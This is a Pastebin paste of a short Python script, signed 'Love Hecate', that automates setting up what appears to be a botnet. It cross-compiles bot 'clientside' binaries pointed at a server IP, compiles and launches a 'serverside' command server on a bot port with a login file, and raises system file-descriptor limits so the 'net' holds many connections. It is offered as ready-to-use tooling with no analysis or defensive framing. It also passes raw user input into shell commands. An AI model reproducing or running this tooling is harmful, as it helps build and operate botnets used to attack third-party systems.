Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #Coded By: Love Hecate
- #CONFIGURE LINE 29
- import subprocess, time
- def run(cmd):
- subprocess.call(cmd, shell=True)
- print ("[\x1b[1;32m1\x1b[0m] setup compiler")
- print ("[\x1b[1;34m2\x1b[0m] setup serverside")
- print ("[\x1b[1;35m3\x1b[0m] installs/make sure net doesnt crash")
- option = input ("Enter Option: ")
- if option == 1:
- lolz = raw_input ("is it a python or bash script: ")
- cc = raw_input ("whats cross compiler name: ")
- cs = raw_input ("clientside name: ")
- ip = raw_input ("server ip: ")
- run (""+lolz+" "+cc+" "+cs+" "+ip+"")
- if option == 2:
- svs = raw_input ("whats serverside name: ")
- bot = raw_input ("whats botport: ")
- port = raw_input ("what do you want port to be?: ")
- run ("gcc "+svs+" -o love -pthread")
- print ("add login ex.) love love: then ctrl + x then save")
- time.sleep (5)
- run ("nano love.txt") #CHANGE TO YOUR SERVERSIDES LOGIN FILE NAME EX.) login.txt
- run ("screen ./love "+bot+" 1 "+port+"")
- if option == 3:
- print ("INSTALLING FILES IN BACKROUND")
- run ("yum -q install gcc screen python wget bash nano lbzip2 bzip2 -y")
- run ("ulimit -n 99999")
- run ("sed -i 's/1024/9999999/g' /usr/include/bits/typesizes.h")
- print ("\x1b[1;31mREAD !!!!!!!")
- time.sleep(1)
- print ("READ !!!!!!!")
- time.sleep(1)
- print ("READ !!!!!!!")
- time.sleep(1)
- print ("READ !!!!!!!")
- time.sleep(1)
- print ("READ !!!!!!!")
- time.sleep(1)
- print ("READ !!!!!!!\x1b[0m")
- time.sleep(1)
- print ("DELETE ALL NUMBERS THEN PUT 999999999 THEN CTRL + X THEN SAVE")
- time.sleep(10)
- run ("nano /proc/sys/fs/file-max")
Advertisement
Add Comment
Please, Sign In to add comment